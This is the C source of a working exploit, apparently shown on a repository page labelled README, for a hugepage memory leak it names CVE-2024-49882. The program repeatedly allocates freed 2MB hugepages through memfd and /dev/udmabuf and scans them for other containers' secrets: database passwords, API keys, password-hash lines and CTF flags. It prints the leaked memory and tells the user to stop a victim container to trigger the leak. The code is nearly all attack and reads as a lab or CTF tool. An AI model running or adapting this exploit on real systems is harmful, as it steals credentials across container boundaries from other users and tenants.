README.md
Rendering markdown...
/*
* exploit_debug.c - CVE-2024-49882 Cross-Container Data Channel
*
* This is the data channel component that leaks hugepage content
* from other containers. Combined with CVE-2023-1206 sync channel
* for coordinated covert communication.
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdint.h>
#include <errno.h>
#include <ctype.h>
#include <time.h>
#include <signal.h>
#define MFD_HUGETLB 0x0004U
#define MFD_ALLOW_SEALING 0x0002U
#define MFD_HUGE_2MB (21 << 26)
#define F_ADD_SEALS 1033
#define F_SEAL_SHRINK 0x0002
#define UDMABUF_CREATE _IOW('u', 0x42, struct udmabuf_create)
#define HUGEPAGE_SIZE (2*1024*1024)
struct udmabuf_create {
uint32_t memfd;
uint32_t flags;
uint64_t offset;
uint64_t size;
};
volatile int keep_running = 1;
int total_secrets = 0;
void handle_signal(int sig) {
(void)sig;
keep_running = 0;
}
const char *patterns[] = {
"POSTGRES_PASSWORD", "CTF_FLAG", "FLAG{", "SECRET",
"PASSWORD", "API_KEY", "sk-live", "postgres",
"PGPASSWORD", "root:", "daemon:", ":$6$", ":$y$",
"COVERT_MSG", "MAGIC_DATA", /* Our protocol patterns */
NULL
};
void *leak_hugepage() {
int memfd = syscall(319, "leak", MFD_HUGETLB | MFD_HUGE_2MB | MFD_ALLOW_SEALING);
if (memfd < 0) return NULL;
ftruncate(memfd, HUGEPAGE_SIZE);
fcntl(memfd, F_ADD_SEALS, F_SEAL_SHRINK);
int udmabuf = open("/dev/udmabuf", O_RDWR);
if (udmabuf < 0) { close(memfd); return NULL; }
struct udmabuf_create c = {memfd, 0, 0, HUGEPAGE_SIZE};
int dma = ioctl(udmabuf, UDMABUF_CREATE, &c);
if (dma < 0) { close(udmabuf); close(memfd); return NULL; }
void *addr = mmap(NULL, HUGEPAGE_SIZE, PROT_READ, MAP_SHARED, dma, 0);
if (addr == MAP_FAILED) { close(dma); close(udmabuf); close(memfd); return NULL; }
void *copy = malloc(HUGEPAGE_SIZE);
if (copy) memcpy(copy, addr, HUGEPAGE_SIZE);
munmap(addr, HUGEPAGE_SIZE);
close(dma);
close(udmabuf);
close(memfd);
return copy;
}
int check_page(void *data, int attempt) {
unsigned char *p = data;
int found = 0;
/* Quick check for non-zero content */
int non_zero = 0;
for (int i = 0; i < 10000; i += 100) {
if (p[i] != 0) non_zero++;
}
if (non_zero < 10) return 0;
/* Search patterns */
for (int i = 0; patterns[i]; i++) {
char *match = memmem(data, HUGEPAGE_SIZE, patterns[i], strlen(patterns[i]));
if (match) {
size_t off = match - (char*)data;
printf("\n\n");
printf("🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥\n");
printf("🔥 CROSS-CONTAINER SECRET LEAKED! 🔥\n");
printf("🔥 Pattern: %-45s🔥\n", patterns[i]);
printf("🔥 Attempt: %-5d Offset: 0x%-8zx 🔥\n", attempt, off);
printf("🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥\n\n");
/* Print surrounding content */
printf("--- Leaked Data ---\n");
size_t start = (off > 200) ? off - 200 : 0;
size_t end = (off + 500 < HUGEPAGE_SIZE) ? off + 500 : HUGEPAGE_SIZE;
for (size_t j = start; j < end; j++) {
if (isprint(p[j]) || p[j] == '\n') putchar(p[j]);
else if (p[j] != 0) putchar('.');
}
printf("\n--- End ---\n\n");
found++;
total_secrets++;
}
}
return found;
}
void print_free_hugepages() {
FILE *f = fopen("/sys/kernel/mm/hugepages/hugepages-2048kB/free_hugepages", "r");
if (f) {
int free_hp = 0;
if (fscanf(f, "%d", &free_hp) == 1) {
printf("\r[*] Free hugepages: %-4d | Secrets found: %-4d | Press Ctrl+C to stop",
free_hp, total_secrets);
fflush(stdout);
}
fclose(f);
}
}
int main() {
printf("╔══════════════════════════════════════════════════════════════╗\n");
printf("║ CVE-2024-49882: Cross-Container Hugepage Data Channel ║\n");
printf("╚══════════════════════════════════════════════════════════════╝\n\n");
printf("INSTRUCTIONS:\n");
printf("1. This exploit runs continuously, watching for freed hugepages\n");
printf("2. In another terminal, STOP the victim container:\n");
printf(" sudo docker stop victim_db\n");
printf("3. Watch this terminal - it should catch secrets!\n");
printf("4. Press Ctrl+C to stop\n\n");
signal(SIGINT, handle_signal);
printf("[*] Starting continuous leak monitoring...\n\n");
int attempt = 0;
int last_free = -1;
while (keep_running) {
/* Check if free hugepages changed (indicates release!) */
FILE *f = fopen("/sys/kernel/mm/hugepages/hugepages-2048kB/free_hugepages", "r");
int free_hp = 0;
if (f) {
if (fscanf(f, "%d", &free_hp) != 1) free_hp = 0;
fclose(f);
}
if (free_hp != last_free) {
if (last_free != -1 && free_hp > last_free) {
printf("\n\n[!] HUGEPAGES RELEASED! %d -> %d (grabbing them now!)\n\n",
last_free, free_hp);
/* Aggressive leak when pages are released */
for (int i = 0; i < 100 && keep_running; i++) {
void *data = leak_hugepage();
if (data) {
check_page(data, attempt++);
free(data);
}
}
}
last_free = free_hp;
}
/* Normal leak attempt */
void *data = leak_hugepage();
if (data) {
check_page(data, attempt++);
free(data);
}
if (attempt % 100 == 0) {
print_free_hugepages();
}
usleep(1000); /* 1ms between attempts */
}
printf("\n\n");
printf("╔══════════════════════════════════════════════════════════════╗\n");
printf("║ RESULTS: Found %d secrets ║\n", total_secrets);
printf("╚══════════════════════════════════════════════════════════════╝\n");
return (total_secrets > 0) ? 0 : 1;
}